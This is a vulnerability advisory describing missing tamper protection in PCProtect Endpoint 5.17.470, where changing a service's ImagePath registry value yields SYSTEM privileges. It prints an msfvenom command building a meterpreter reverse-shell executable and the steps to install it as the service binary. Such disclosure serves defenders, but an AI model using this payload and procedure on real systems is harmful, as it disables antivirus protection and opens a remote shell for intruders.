PCProtect Endpoint 5.17.470 Tampering / Privilege Escalation

PCProtect Endpoint version 5.17.470 fails to provide sufficient anti-tampering protection that can be leveraged to achieve SYSTEM privileges.

SHA-256 | 2d06bd74496b08a5700c2c8e026dcb7ac169ea6a7167829bfbda24a822742cfd

[+] Credits: Yehia Elghaly (aka Mrvar0x)    
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[+] Source: https://mrvar0x.com/2022/07/21/pcprotect-endpoint-tampering-exploit/


PCProtect Endpoint Protection v5.17.470

PCProtect is a malware detection and antivirus scanner. It uses advanced heuristics and a massive, continuously updated database to detect malware files on Windows, macOS, and Android devices. It also has an iOS app.
PCProtect also includes additional features, including:
Web shield - Virtual private network (VPN) - Data breach monitor - Identity theft protection - System optimizer- Password manager- And much more…

Vulnerability Type:
Missing Tamper Protection
Incorrect Authorization

CVE Reference:

Security Issue:
PCProtect Antivirus prior to version 5.17.470 installed on Microsoft Windows does not provide sufficient anti-tampering protection of services by users with Administrator privileges. This could result in a user disabling PCProtect Antivirus and the protection offered by it. Also It lead to Raised privilege to SYSTEM.

That can occurred by modifying a specific registry key.
Change ImagePath path to a malicious executable.

Create malicious executable through msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LOCALIP LPORT=4444 -f exe -o meta.exe

Modify (ImagePath) with the path of the malicious executable - Restart

Network Access:


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